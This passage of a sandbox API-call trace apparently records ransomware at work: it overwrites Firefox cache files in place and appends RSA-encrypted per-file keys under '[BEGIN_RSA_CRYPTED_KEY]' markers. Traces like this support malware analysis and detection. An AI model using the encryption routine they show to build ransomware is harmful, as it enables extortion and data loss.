lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x12e5, lpOverlapped=0x0) returned 1 [0251.990] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.990] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f348*, nNumberOfBytesToWrite=0x12e5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f348*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12e5, lpOverlapped=0x0) returned 1 [0251.991] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12e5 [0251.991] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.991] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.991] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.991] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.992] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.992] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iGaUqaOfYWfvFTj7Gs4Un6rBRBpNnwgAgfHKUv80nVVtDCOJ9pzwodu1/IZ8CrIM\na4x+ZXe1wMuh3rRM6fyzA5bIcQCaBQVD1MMGYf7oSTjFqoXpOLad5LnNd5MtKc9G\nHa8WhM7JAN3Ydo03kuNZaP9oaU85ZBUTiCs1hJlXA+mmvbHJi3lpPPbyxm6eJPV3\ntqPg49tJhqn9GAASjKSQqQbkgFSM3fo9rzZ0Ux3WtRcELPsSrDrl5Upgh1a2oBBM\nOwWROaLHVxxZr+tii8mrDHb0kLpMIvYGdyMiqYpCnLLzASeTWue9+sEFwwp9m3I0\njbOz7okZ3bF5HmCnUSv4Mg==\n", pcchString=0x2e3f9a8) returned 1 [0251.992] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.992] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.992] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.992] CloseHandle (hObject=0x1b84) returned 1 [0251.994] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.994] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F7A03B835287EB653E333695F9A2A18207504E62", dwFileAttributes=0x80) returned 1 [0251.994] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x11776, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x11776, lpOverlapped=0x0) returned 1 [0252.017] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-71542, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.017] WriteFile (in: hFile=0x1b84, lpBuffer=0x345f7d8*, nNumberOfBytesToWrite=0x11776, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345f7d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11776, lpOverlapped=0x0) returned 1 [0252.018] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11776 [0252.018] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.018] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.019] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.019] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dfoNxXKC//19HzVd/l6Mspl79KKoUDT9a/wFObgvg6XHvdiIUJOLrlPxmvgiBg+m\nfzLxkC4CEZOObgqGpHjzlHYM9W8yP5fT/UMFDg+z2GIJj5XkjquUHmpnw0r37iCH\n1j/TjYt2+W04tKfJ0OYb+KbEEM23/OWVyV+p0f4tVSyoWS2FN9viHxiEGBgeyDfw\nHDzsnx1vgFdMKFFXHVPNqPZz2T9ErZD5INokk1H8QaJmDpSeex0mj89DitrUDZ1K\nc8gvefBip0ELyAG9e5QbnRl2tIT+jqjM6+NuKXNh0b4HJWpuEqt9TUcFyY8UhS/U\nuinsrXl48OhuHqXgwskshw==\n", pcchString=0x2e3f9a8) returned 1 [0252.019] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.020] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.020] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.020] CloseHandle (hObject=0x1b84) returned 1 [0252.022] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.022] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F56261E8B05819E012DD547478AA01C2CDEECB85", dwFileAttributes=0x80) returned 1 [0252.022] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0252.028] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.028] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f198*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0252.029] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1137 [0252.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.029] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UZJ9xTogELbHCpFj/b5YjZZR1Te7mp3JbDy8COYQMI+DIm8i+NjCjwM9582v8edM\nd0YCpt2ILgbm2SfrA0KVHkoy9IXFlbNyxkjPy8n+LR4V7uPQyC4zhVyVXxmJcOmp\nA9uxSuo/oMM8+U4yvAZNOgaorBUPF3MhiFYsTI94Hh13JBhejLDmKxEcPdOz3Ye/\nRSMJ2uXh5qC94nTLpE+I0uOs3r9pY3vTUJnL+tlbbdmNFm77b9yAjCRw9j3Z5XZV\nstFvL6U7KLFD0G/LfjvuArby6vpxREyhGShn0LZ0I1tP0T7BdAh+H3DnCVqcYI6K\nANat0MoFl+j2EdTjzYKgjA==\n", pcchString=0x2e3f9a8) returned 1 [0252.030] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.031] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.031] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.031] CloseHandle (hObject=0x1b84) returned 1 [0252.035] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F5387E8365BD2DADD2BB866AD939802535A18630", dwFileAttributes=0x80) returned 1 [0252.036] ReadFile (in: hFile=0x1b84, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x113, lpOverlapped=0x0) returned 1 [0252.037] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.037] WriteFile (in: hFile=0x1b84, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113, lpOverlapped=0x0) returned 1 [0252.038] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113 [0252.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.039] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.039] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="l/wnVjD36uuij/MdnDtk/RevyN83FC5dA3uZhknNHE9lLNNtwTFJ5hg+gA54vri3\nv4E/wW0TqHOKQ75fxZ9Di2u3IfCB1KGY3pqNMV8w9YaIy1nM1ZL63Pqun8R9KKcB\nZVMpQcNVP0J3OLFIKtiY3n6Ch2MrQN/VJqqjw+No+BNDN6dFQWD/0zpTLr6AZIYA\nz5Djs/1zL7LhfXTAr4622KcsjqznFhx3u2CvH6CLKFi1CX7bV/8HccgMFpE4mFPg\nykOdopd9YPByGom3CfKGcHapL6FvhRtBtuTCACCcozSwl2S+2Gi5Xf6cmPxzrPEf\nkcYRIEnZ+HWuZZWNiUqUtw==\n", pcchString=0x2e3f9a8) returned 1 [0252.039] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.040] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.041] CloseHandle (hObject=0x1b84) returned 1 [0252.042] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.042] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F445FCAB663CB1278872DDCA1E5DDB5EB186C88D", dwFileAttributes=0x80) returned 1 [0252.043] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0252.140] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.140] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0252.141] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf2d [0252.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.141] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JnrLtSN06X68sHroJMjYa90dG0UjDLBi3iT7mlYEBrG0BTuJhJO9tLTqa7DR21HX\nVfvFwPOi3q3fIjzkU6XWFR4LBVj9CmPSm1kRaX1WvsXyC2Er1EIbGlQ8QQwxjPHi\n3Hpj7N6mahgMS5/vvpHvuvVtYeSVs+dGJyN82lVEFkfNvDiLwp8amRlvFXnJA7Z1\nIflv/exS/t82L6x1Rr/HnDMmcZNgyhtooPkVggrqCuoebhVxNipNcVriCgerSmzm\nPIfvqb9BO7jjYu1dM+O/7BfjRga9A1cUkxAzGEwz847qqMvo49oH7ZqmGZTPKpUR\nhsPzeqGSrtEr14H9VKgkcA==\n", pcchString=0x2e3f9a8) returned 1 [0252.143] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.143] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.143] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.143] CloseHandle (hObject=0x1b84) returned 1 [0252.145] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.145] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F40097B0B56961E44C8B985BA539D8266739EEFD", dwFileAttributes=0x80) returned 1 [0252.146] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0252.168] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.168] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0252.169] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfe [0252.169] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.169] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.170] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.170] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cM7ttsa6YOXd1G8huZZfThVkMJzukr7GkabI7gN3n7ONdV9BmfmDVUq79bEXGAlq\ndeR7ms39rfy1cqX7oQ+p+ZeN11hIrKExW/YokqNe7MTVRiMEqGAFltjtrM2OTmnV\nrog9h2C46QIL4rhCRPNz53Xo85LyCS4AanwUeL5N4FRmGnR/KQ6kH8j1KJu0ijUT\njmYyMR2q1OLnXlGiD6tWcui0sX7tsr0aIUH516FweZuCb2gZ6NP3SR0yR3xeue3J\nVY/maXFan85Ap708trHMTto+w/m93tV/88lN+nbuAegAgfIH11wb0iMQwEfNlC6v\noUh08PFzUuzqOvjwKr0KZw==\n", pcchString=0x2e3f9a8) returned 1 [0252.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.170] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.170] CloseHandle (hObject=0x1b84) returned 1 [0252.172] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.172] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F3687EA272924EFA039E8C0E7E78DD8FCF341D98", dwFileAttributes=0x80) returned 1 [0252.172] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x34ca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x34ca, lpOverlapped=0x0) returned 1 [0252.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-13514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x3451530*, nNumberOfBytesToWrite=0x34ca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3451530*, lpNumberOfBytesWritten=0x2e3f9b4*=0x34ca, lpOverlapped=0x0) returned 1 [0252.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x34ca [0252.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eCKZS0QUM91aYGLBWMd2sgNCaJB4eyCVBpHimVf0vdQs/ZxANONUkqaJE7+z54om\nRIxwaiJkGa5V/wW2wmZHmmFbSXPXlkHUb74xl7UBqRO4vGNz4YzInogxbKRREt8z\nyXbUTNy5eQmfi2wW+rP1blVQdfozJPNhtWu8g418DtZH4boFKbiNB7pYqxGQsnE/\nVVSBY4pwUY2Y1YACS2kqMDQrWjkzhqEwNf6hgCW7FEqNQcDH1c1sN1Cwp+hQmFAF\nlvuOkUbw2I+r+WMfRIb+2W0eoNvCFcBu7Qt1QL5xEDy7TqpLH7RepaNENVJKt4Vr\nm5wqilngxtix24cCAyi1YQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.176] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.176] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.176] CloseHandle (hObject=0x1b84) returned 1 [0252.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F34C7878FC7716D2D6CF17466495D1DFBE5C794A", dwFileAttributes=0x80) returned 1 [0252.182] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x19a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: 